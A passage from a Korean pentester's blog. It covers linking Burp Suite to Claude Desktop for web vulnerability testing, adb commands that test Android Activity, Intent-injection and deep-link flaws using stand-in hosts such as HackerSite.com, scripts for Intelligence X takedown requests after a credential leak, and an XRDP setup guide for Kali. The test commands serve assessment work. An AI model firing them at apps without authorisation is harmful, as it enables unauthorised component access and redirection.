이후 알림창에서 나온대로 재시작이 필요하다.

Claude Desktop 재시작 이후 화면을 확인해보면 프롬프트 설정에서 다음 burp 옵션이 활성화되어 추가된 것을 확인할 수 있다.

해당 메뉴를 확인해보면 web socket 에 접근할 것인지, http 요청하는 것을 claude 에서 수행할 것인지 등등 많은 옵션이 존재하는데, 해당 옵션을 이용하여 Claude 로 생성된 요청이나 encode 및 decode, 그리고 Introducer 공격도 가능하다.

연동한 상태에서 LLM 사용 시, 다음과 같은 권한 확인 창이 출력되는데, 이때 허용을 해주면 된다.

허용을 해주면 다음과 같은 결과를 얻을 수 있다.
(질문 내용: [Burpsuite 내 Scope 대상 등록 후] Scope 대상에 대한 웹 취약점 진단을 시작해줘.)

Run DeepLink Pentesting Android

Kai_HT — Mon, 9 Jun 2025 02:06:45 +0900

https://www.android.com/

모의해킹 실무에서 사용하던 취약점 중 하나가 'Activity 강제 실행' 을 이용한 취약점이 존재한다.

해당 취약점은 앱 내 존재하는 Activity 중 실행 가능한 Activity 를 임의 실행하여, 서비스 권한을 얻거나 특정 구간을 우회하는 것에서 사용한다.

adb shell am start -n $package/$actName

해당 명령을 디바이스가 연결된 PC 터미널에서 입력하여 실행시킬 수 있으며, 해당 명령을 이용하여 bash 파일로 작성하는 경우 다음과 같이 작성할 수 있다.

#!/bin/bash
echo "-----------------------------------"
echo "[+] Activate Application's Activity"
echo "[+] Starting App's Activity"
echo "[*] Input PackageName to Run: "
read package
echo "[+] Writing PackageName is $package from user"
echo .
echo "[*] Input Activity Name to Run: "
read actName
echo .
am start -n $package/$actName
echo "-----------------------------------"

단순하게 안드로이드 어플리케이션 내 존재하는 Activity 만 실행하여 검증하는 것이 목표라면 해당 코드로 충분히 취약점 체크가 가능하나, 현재 확인하려는 것은 딥링크나 Intent 실행 검증이다.

Activity 실행 우회 취약점, Intent Injection 취약점, 그리고 딥링크 검증 미흡 이 3개의 취약점에 대한 공통점이 존재한다.

1. 컴포넌트 간 통신 취약점
- Activity와 서비스, 그리고 브로드케스트 리시버 (Receiver) 간 Intent 통신 메커니즘이 사용됨.
- Android 시스템의 암기적/명시적 Intent 처리 방식과 연관됨.

2. 우회 공격 가능성
- 권한 없는 기능 실행이 가능
- CWE-940 (Improper Verification of Intent by Broadcast Receiver) 관련

3. 검증 부재 핵심 원인
- 입력 값 검증 누락 - 화이트리스트 및 블랙리스트 미구현
- Intent 필드 (action, data, extra) 에 대한 검증 미구현

위 세 가지가 공통점인데, 해당 취약점에 대한 가장 큰 공통점은 바로 컴포넌트간 통신의 메커니즘이 동일한 방법으로 사용된다는 것이다. 따라서 셋다 adb shell am start ~~ 형식으로 취약점에 대한 검증이 가능하며, 예시는 다음과 같다.

1. Activity 실행 검증 취약점 검증 코드:

adb shell am start -n $package/$actName

2. Intent Injection 취약점 검증 코드:

adb shell am start -n $package/$actName --es url "http://HackerSite.com"

3. 딥링크 검증 미흡 취약점 검증 코드:

adb shell am start -a android.intent.action.VIEW -d "testingapp://path?url=http://HackerSite.com"

세 개다 앱을 실행시키는 것을 목적으로 코드가 작성되고 수행된다.

Acitivity 실행 검증 취약점은 직접적으로 패키지명과 Activitiy 명을 호출해서, Intent Injection 은 직접 호출하며 HackerSite.com 을 불러오는 것으로, 그리고 딥링크 검증 미흡 취약점의 경우 안드로이드 Intent action VIEW 를 실행하여 어플리케이션의 딥링크 testingapp 을 호출해 실행하게된다.

그러나 몇 가지 다른 점이 있는 것을 알 수 있는데, .다른 점은 다음과 같다.

구분	Intent Injection	딥링크 검증 미흡	Activity 실행 우회
공격 벡터	다른 앱 → 타겟 앱	딥링크 URI 호출	Activity 직접 실행
주요 영향 범위	Intent 수신 컴포넌트	딥링크 핸들러	모든 Exported 컴포넌트
대표 시나리오	WebView Javascript 인터페이스 악용	intent:// 체계 미검증	android:exported=true 과다 설정
검증 포인트	Intent.get*()	URI 파라미터/구조 분석	컴포넌트 노출 필요성 검토

Intent Injection 의 경우 Activity 실행 우회 취약점과 딥링크 검증 미흡 취약점은 앱이 외부 - 악성 앱이나 adb 등에서 전달된 Intent 및 Activity 가 직접적으로 수행되어 실행되는 것과 다르게 intent 실행 컴포넌트로 부터 딥링크(URI) 값이 전달되어 간접적으로 실행된다는 점에서 우선 다르다.

또한 Intent Injection 은 Intent 객체 자체의 속성 및 Extra 데이터 조작, Activity 실행 우회 취약점은 Activity 객체 속성 및 Extra 데이터 조작에서 가능하나 딥링크 검증 미흡 취약점은 URI(딥링트) 파라미터 조작 및 전달, 그리고 외부 링크를 통한 진입에서부터 조작이 되는 점이다.

위에서 간단하게 (?) 비슷한 세개의 취약점에 대해 공통점과 차이점을 서술했고, 이제 딥링크 취약점은 어떻게 수행하여 검증할 수 있는지 확인해보자.

대상 앱을 디컴파일 해보거나 앱 패키지 내 AndroidManifext.xml 파일을 확인해보면 Exported 값이 true 로 설정된 Activity 를 확인이 가능하며, 사용가능한 intent 들과 딥링크 (URI) 정보에 대한 확인이 가능하다.

AndroidManifest.xml

노출된 Intent 값, 그리고 URI 값을 이용하여 해당 앱의 실행 여부 체킹이 가능하다.

호출 코드:

adb shell am start -a android.intent.action.VIEW -d "[DeepLinkURI]://path?url=https://HackerSites"

adb shell am start -n [TargetApplicationID]/[TargetApplicationActivity] -d "[ApplicationURI]://path?url=https://HackerSites"

adb shell am start -a android.intent.action.VIEW -d "[DeepLinkURI]://Test"

가장 간단한 딥링크 실행은 세 번째 명령이며, 첫 번째 코드는 임의 Intent 경로를 이용한 딥링크 호출, 그리고 두 번째 명령의 경우 실행 가능 Activity 를 이용한 딥링크 호출 명령이다.

adb shell am start -a android.intent.action.VIEW -d "[DeepLinkURI]://AttackerSite.kr/"

해당 명령을 이용하여 앱이 실행 여부를 이용하여 딥링크 임의 실행 여부를 파악할 수 있으며, 작성한 값 - redsec.kaiht.kr/WebServer/ 으로 앱으로 전달하는 것을 확인할 수 있다.

AndroidStudio 내 Logcat

Target Application 실행 화면

필자 본인이 딥링크 요청 시, 전달하는 값은 본인의 웹사이트 URL 값이나 해당 값에 대한 처리 구간 별도로 존재하지 않아 해당 사이트로 직접적인 요청이 가지 않는 것을 확인하였다. 본 앱을 이용한 임의 사이트 접근 등에 대해서는 이후 별도 게시글을 통해 정리해볼 예정이다.

- Android 모바일 딥링크 점검 도구 참고:

GitHub - KaiHT-Ladiant/DeepLinkPentest

Contribute to KaiHT-Ladiant/DeepLinkPentest development by creating an account on GitHub.

github.com

Intelligence X Extraction of My Code

Kai_HT — Sun, 11 May 2025 12:57:55 +0900

IntelligenceX Service

회사에서 딥웹 내 노출된 본인의 정보를 추출해주는 "IntelligenceX" 라는 서비스를 알게되었다.
해당 서비스는 찾으려는 이름, 이메일, 전화번호 등을 이용하여 딥웹 내 업로드되어있거나 노출된 정보를 찾아주는 서비스로 OSINT 정보를 긁어와 보여준다.

Intelligence X 내 도출된 유출된 데이터

서비스 자체가 궁금해서 본인이 자주 사용하고 있었고, 중요 서비스들에서 사용하는 이메일 정보로 검색해보았더니 굉장히 크리티컬 한(...) 정보가 노출된 것을 확인하였다.

아무래도 파일을 잘못 받거나 해서 감염된 PC로 인하여 파일들이 노출된 것으로 보이는데, 해당 파일 내엔 본인 PC의 데스크탑 환경의 스크린샷(...) 이 포함된 유출된 Steam 토큰, Discord 토큰 등을 확인할 수 있었다.

피해 확인 전 해커가 보낸 이메일 원문

해당 메일 내용을 보면 알겠지만, 노출된 본인 이메일 정보로 해커가 비밀번호를 찾았다며 돈을 내놓지 않으면 PC의 WebCam 으로 녹화된 개인 시간을 보내고 있는 영상을 뿌리겠다고 협박하고 있다. 본인 PC의 경우 모니터 중 1대에 카메라가 존재하여 헉 했을 지도 모른다.

50시간 이내 돈을 보내라고 협박하고 있는데, 해당 메일을 읽은 시점이 이미 50시간이 한참 지난 후라 어떻게 나올지는 미지수. 본 메일을 확인한 시간이 2달 정도 지난 시점인 대다가 Intelligence X 로 본인의 피해 사실을 알게되어 Intelligence X 를 통하여 본 내용을 삭제하고자 하였다.

- 본인의 데이터 중 중요한 데이터의 경우 Steam/Discord 로그인 토큰도 있었지만, PC내 저장된 크롬 Profile과 PC 내 취약점 보고서 등 민감한 파일들이 존재하여 PC 포멧 및 삭제를 수행하고, 이후에 Intelligence X 내 데이터 삭제가 필요하였다.

https://intelx.io/abuse

Intelligence X 에서 확인된 데이터들에 대한 삭제 요청이 가능한데, 이때 검색으로 도출되는 Name, Company, Email 을 검색한 값 대로 작성하여 요청해야 삭제를 해주는 대다가, 검색으로 도출된 정보들에 대한 세부정보 확인이 IP당 30건으로 제한되어 있어 모든 컨텐츠에 대한 삭제 요청이 힘들다.

이를 해결하기 위해, javascript 를 이용한 검색 도출 화면에서의 모든 값 (ID) 을 가져오는 코드를 작성해보았다.

const elements = document.querySelectorAll('[data-id]');
const dataIds = Array.from(elements).map(element => element.getAttribute('data-id'));
console.log(dataIds);

해당 코드의 사용 순서는 다음과 같다.

Intelligence X 내 접속 후, 임의 문자열 검색을 수행
검색된 데이터들 모두 조회할 수 있도록 검색 목록 끝까지 드래그/PageDown 수행
웹 브라우저 개발자 도구에서 콘솔 기능 실행

해당 서비스 내에서 확인된 데이터 이외 연계된 정보들도 확인해봐야한다. (ex- IP/SystemID 값 등) 본인의 경우 본 시스템 이름 및 IP 로 작성된 항목들도 존재하여 추가 확인을 수행하였다.

해당 링크 정보로 노출되어있는 코드 값을 가져올 수 있는데, 본인의 경우, 해당 소스코드에서 '<pre>' 태그 내 정보를 모두 복사하여 따로 저장해두었다.

이후 파이썬 코드를 이용하여 본 링크를 모두 가져올 수 있다.

from bs4 import BeautifulSoup
import re

with open('[저장한 파일 명]', 'r', encoding='utf-8') as file:
    content = file.read()

soup = BeautifulSoup(content, 'html.parser')
 >
links = soup.find_all('a')
did_values = []

for link in links:
    href = link.get('href')
    if href and '?did=' in href:
        did_value = href.split('?did=')[1]
        did_values.append(did_value)

for did in did_values:
    print(did)

이와 같이 모든 코드를 중복없이 취합하여 IntelligenceX 측에 해당 데이터 삭제요청을 보내보자.

해당 메일을 보내면 며칠 뒤 다음과 같은 메일을 받아볼 수 있다.

RDP GUI Connection

Kai_HT — Thu, 8 May 2025 10:29:32 +0900

[Linux] RDP GUI Connection

https://static1.makeuseofimages.com/wordpress/wp-content/uploads/2021/07/install-kali-linux-in-vmware.jpg

본인은 칼리 리눅스를 임의 노트북 내 설치하여 원격으로 연결하여 사용한다. 아직 직접적으로 진단 수행 시 사용해본 적이 없으나, 환경을 구축하여 이후에 사용할 일이 있는 경우 굉장히 유용하게 사용하면 좋을 것 같다는 판단이 들어 설정해두었다.

Kali linux 접근 구성도

본인의 개인 네트워크를 구성해두어서 보다 간편하게 구상도가 그려질 수 있었다. 현재 Kali HOST 의 경우 직접 접근이 불가하고 본인의 다른 서버 접근 후 커넥션해야 접근이 가능하다. 때문에 본 서버에 대한 서브 도메인을 설정하여 접근하도록 네트워크를 등록했다. (리버스 프록시 서버 설정)

각설하고 Kali 리눅스의 특징은 여러 툴을 가지고 있다는 것인데, 해당 툴들의 대부분은 CLI 환경이 아닌 GUI 환경에서 사용하는 것이 편하거나 사용이 가능하다는 점이 있기에 ssh 환경을 이용한 연결이 아니라 GUI 환경으로 연결하여 사용하는 방법을 찾아보았다.

서비스는 Remote Desktop Protocol (이하 RDP) 을 윈도우가 아닌 Linux 나 BSD 등에서 사용할 수 있는 XRDP 를 사용할 것이며, 해당 패키지의 설치가 요구된다.

다른 GUI 연결 환경이나 패키지가 존재하나 RDP 가 확실히 연결성이 좋아서 해당 방법을 이용하여 연결하기로 하였다.

sudo apt-get install xrdp

sudo apt-get install xrdp

해당 패키지 설치 이후 본 패키지의 설치가 정상적인지 확인해보자

sudo systemctl status xrdp

sudo systemctl status xrdp

본인의 경우 패키지가 정상 설치가 완료되었으나 active 되지 않는 것을 확인할 수 있다. 때문에 systemctl start 명령으로 해당 패키지를 실행하여 연결을 수행하였다.

sudo systemctl start xrdp

여기에서 한 가지 변동 사항이 있는데, 본인의 경우 RDP 로 본인의 데스크탑 환경을 설정해두어 포트 변경이 필요하였다. 때문에 /etc/xrdp/xrdp.ini 파일에 대한 수정을 수행했다.

sudo vi /etc/xrdp/xrdp.ini

xrdp 설정 이후 sesman 파일도 설정이 요구된다.

[Global]
ListenAddress=~~127.0.0.1~~ 0.0.0.0

설정이 모두 완료되었다면 원격지에서 해당 서버로 연결을 수행한다.

원격지 RDP 연결 시도

참고로 해당 연결 전에 꼭 포트포워딩 등의 네트워크 작업을 해주자. 당연히 하지 않으면 연결이 되지 않는다.

또한 본인처럼 리버스 프록시를 사용하고 있는 중이라면 해당 리버스 프록시에서 stream 등의 옵션으로 3350 설정이 요구된다.

NGINX 리버스 프록시 예시

server {
    listen 3390; // Default Port is 3389
    proxy_pass [TargetIP]:3390;
}

server {
    listen 3350; // XRDP-Sesman Port
    proxy_pass [TargetIP]:3350;
}

Error Confirm

만일 XRDP 설치 이후 정상적인 XRDP 가 수행되지 않는다면 클라이언트 단인 원격지에서 로그인 수행 시 확인되는 에러 창이나 서버 내에서 확인되는 에러를 확인해야한다.

서버 내 에러 확인 코드:

journalctl -u xrdp -f

Server Error:

Unable to locate executable '/usr/sbin/xrdp': No such file or directory
Failed at step EXEC spawning /usr/sbin/xrdp: No such file or directory

해당 에러의 경우 /usr/sbin/xrdp 위치가 잘못되었기 때문인데, 이때 xrdp 파일의 위치를 확인해야한다. 칼리의 경우 따로 커스텀화되어 저장되어있거나 설정되어있기 때문이다.

실행 파일 경로 확인 및 수정

XRDP 바이너리 실제 위치 확인 후 시스템 서비스 파일 경로 조정:

whereis xrdp | grep bin

작성된 경로 /usr/sbin/xrdp 가 아닌 다른 경로로 확인되었다면 XRDP 의 설정에 작성된 경로를 확인된 경로로 바꿔주거나, 해당 경로 내 링크를 만들어주면된다.

sudo ln -s $(which xrdp) /usr/sbin/xrdp

Client Error:

Error connecting to sesman on sesman.socket

본인의 경우, XRDP 를 apt 를 이용하여 설치하였다가 정상 연결이 되지 않아 github 를 이용하여 연결을 시도하였다.
****- git 을 이용한 XRDP 설치

git clone https://github.com/neutrinolabs/xrdp.git
cd xrdp
./bootstrap
./configure --prefix=/usr
make
sudo make install

때문에 해당 오류는 XRDP v0.10.x 이상에서 Unix 도메인 소켓 방식으로 도입되었음에도 반영되지 않아 확인된 에러다.

xrdp --version | grep -i "xrdp"

본 에러에 대한 해결 방법의 단계는 다음과 같다.

구성파일 수정

/etc/xrdp/sesman.ini 파일 수정

[SessionManager] ListenAddress=sesman.socket

/etc/xrdp/xrdp.ini 파일 수정

[globals]
sesman_socket=sesman.socket

systemd 서비스 파일 조정

/usr/lib/systemd/system/xrdp-sesman.server 파일 수정

[Unit]
Requires=xrdp-sesman.socket

[Socket]
ListenStream=/run/xrdp/sesman.socket

방화벽 및 소켓 권한 확인

sudo chmod 770 /run/xrdp/sesman.socket
sudo systemctl restart xrdp xrdp-sesman

만일 sesman.socket 파일이 서버에 존재하지 않는 경우 (xrdp-sesman.service 파일은 있으나 xrdp-sesman.socket 파일이 존재하지 않는경우)

lib/systemd/system/xrdp-sesman.socket 파일 생성 (수동 socket 파일 생성)

[Unit] Description=XRDP Session Manager Socket [Socket] ListenStream=/run/xrdp/sesman.socket SocketMode=0660 [Install] WantedBy=sockets.target

[Unit]
Description=XRDP Session Manager Socket

[Socket]
ListenStream=/run/xrdp/sesman.socket
SocketMode=0660

[Install]
WantedBy=sockets.target

런타임 디렉토리 권한 설정
본인의 경우, XRDP 시스템 계정이 존재하지 않아 진행하지 않았고, chmod 로 권한만 설정하였다.

sudo mkdir -p /run/xrdp
sudo chown xrdp:xrdp /run/xrdp
sudo chmod 0755 /run/xrdp

서비스 파일 검증 (/lib/systemd/system/xrdp-sesman.service 파일 확인)

[Unit]
Requires=xrdp-sesman.socket

[Service]
ExecStart=/usr/sbin/xrdp-sesman

systemd 재구성

sudo systemctl daemon-reload
sudo systemctl enable --now xrdp-sesman.socket

Server Error:

xrdp-sesman.service: Unable to locate executable '/usr/sbin/xrdp-sesman': No such file or directory
xrdp-sesman.service: Failed at step EXEC spawning /usr/sbin/xrdp-sesman: No such file or directory

xrdp-sesman 파일 위치가 잘못되어 도출되는 에러다. 본 에러는 다음 순서로 확인이 가능하다.

실행 파일 실제 위치 확인

# xrdp-sesman 바이너리 검색
whereis xrdp-sesman | grep bin

확인 후, 해당 위치에서 확인된 디렉토리 정보로 systemd 서비스 파일 수정 (실제 경로로)하여 해결할 수 있다.

/lib/systemd/system/xrdp.service, /lib/systemd/system/sxrdp-sesman.service 파일 수정

 # xrdp-sesman.service
 [Service]
 ExecStart=/usr/local/sbin/xrdp-sesman  # 기존 /usr/sbin/xrdp-sesman → /usr/local/sbin/xrdp-sesman
 ExecStop=/usr/local/sbin/xrdp-sesman --kill

# xrdp.service
[Service] ExecStart=/usr/local/sbin/xrdp
# 기존 /usr/sbin/xrdp → /usr/local/sbin/xrdp
ExecStop=/usr/local/sbin/xrdp --kill

수정 사항 적용

sudo systemctl daemon-reload sudo systemctl restart xrdp xrdp-sesman

Client Error:

login was successful - creating session
sending create session request to session manager. Please~~ it...
Can't create session for user [User Name ] - Session failed immediately.
Server Error:
[INFO ] Received request from xrdp to create a session for user [ User Name ]
pam_unix(xrdp-sesman:session): session opened for user User Name by User Name
gkr-pam: unlocked login keyring
[INFO ] sesman: Session on display :10 has finished.

본 에러의 경우, PAM 모듈이 누락되어 발생한 문제로 패키지에 대한 재설치가 요구된다.

pam_lastlog.so 파일 재설치

sudo apt install --reinstall libpam-modules

GNNOME 키링 데몬 구성 수정
/etc/pam.d/xrdp-sesman 파일 내 내용 추가 (세션 섹션 하단 라인 추가)

session optional pam_gnome_keyring.so auto_start

XRDP 데스크톱 환경 설정

/etc/xrdp/startwm.sh 파일 수정 (추가)

#!/bin/sh
unset DBUS_SESSION_BUS_ADDRESS exec /usr/bin/xfce4-session # 사용 중인 DE에 맞게 변경

사용자 그룹 재확인

sudo usermod -aG ssl-cert,tsusers kai_ht

시스템 로그 확인/분석 (선택)

journalctl -u xrdp -u xrdp-sesman --since "10 minutes ago" | grep -iE 'error|fail'

이후 xrdp 서비스를 재시작해주면 정상 접근이 가능하다.

sudo systemctl restart xrdp xrdp-sesman